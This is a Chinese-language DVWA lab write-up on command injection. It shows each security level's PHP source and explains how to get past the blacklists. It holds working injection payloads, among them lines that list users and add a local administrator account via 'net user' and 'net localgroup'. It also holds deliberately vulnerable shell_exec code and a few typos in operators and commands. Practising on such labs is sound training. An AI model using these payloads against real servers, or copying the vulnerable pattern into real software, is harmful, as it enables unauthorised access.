DVWA各等级命令注入漏洞

漏洞描述

  • 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后台服务器

漏洞危害

  • 如果web应用使用的是root权限,则改漏洞可以导致攻击者在服务器上执行任意命令

漏洞利用

在ping时 可以使用 管道符( | ) ,& 等字符拼接执行多条命令
Eg:

ping 127.0.0.1 | net user

ping 127.0.0.1 & net user

ping 127.0.0.1 && net user

ping 127.0.0.1 || net user

- '|':前面命令输出结果作为后面命令的输入内容
- '&':前面命令执行后接着执行后面的命令
- '||':前面命令执行失败的时候才执行后面的命令
- '$$':前面命令执行成功了才执行后面的命令
- 使用重定向(>)在服务器中生成文件,或时使用(<)从事先准备好的文件读入命令
eg:127.0.0.1&echo test >c:1.txt   

Command injection

level:low

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { //post传参
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 传入ip

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 //stristr()函数:在字符串中找是否存在已知的字符串
//php_uname()返回运行php的系统有关信息


        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 

    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 

?> 


漏洞分析

  • low级别本身没有任何过滤,其中 Shell_exec()函数可以在php中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的shell

  • eg:命令执行语句

    127.0.0.1 | net user

    127.0.0.1 | net user test 123/add

    127.0.0.1 | net localgroup administrators test/add

level:medium

<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
    // Set blacklist 
    $substitutions = array( 
        '&&' => '', 
        ';'  => '', 
    ); 
    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
?>

漏洞分析

  • 与low级别相比 medium级别多了两句过滤语句:'&&' => '', ';'  => '',替换为空字符

  • 绕过方法:

  • 因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

    Ping 127.0.0.1&net user

  • 在&&中间加 ';'

    Ping 127.0.0.1&;&net nser

    这是因为”127.0.0.1&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& net user” ,会成功执行。

level:high

	<?php 
	
	if( isset( $_POST[ 'Submit' ]  ) ) { 
	    // Get input 
	    $target = trim($_REQUEST[ 'ip' ]); 
	
	    // Set blacklist 
	    $substitutions = array( 
	        '&'  => '', 
	        ';'  => '', 
	        '| ' => '', 
	        '-'  => '', 
	        '$'  => '', 
	        '('  => '', 
	        ')'  => '', 
	        '`'  => '', 
	        '||' => '', 
	    ); 
	
	    // Remove any of the charactars in the array (blacklist). 
	    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
	
	    // Determine OS and execute the ping command. 
	    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
	        // Windows 
	        $cmd = shell_exec( 'ping  ' . $target ); 
	    } 
	    else { 
	        // *nix 
	        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
	    } 
	
	    // Feedback for the end user 
	    echo "<pre>{$cmd}</pre>"; 
	} 
	
	?> 

漏洞分析

  • high级别与medium级别相比 黑名单机制限制的更多 过滤的更多

    但是
    仔细观察到是把"| "(注意这里|后有一个空格)替换为空字符,可以用" |"替换 成功绕过

level:impossible

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

     //stripslashes(string)stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
//explode(separator,string,limit)把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
//
is_numeric(string)检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。


    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

漏洞分析

Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,不存在命令注入漏洞。

原文地址:https://www.cnblogs.com/zjhzjhhh/p/14102264.html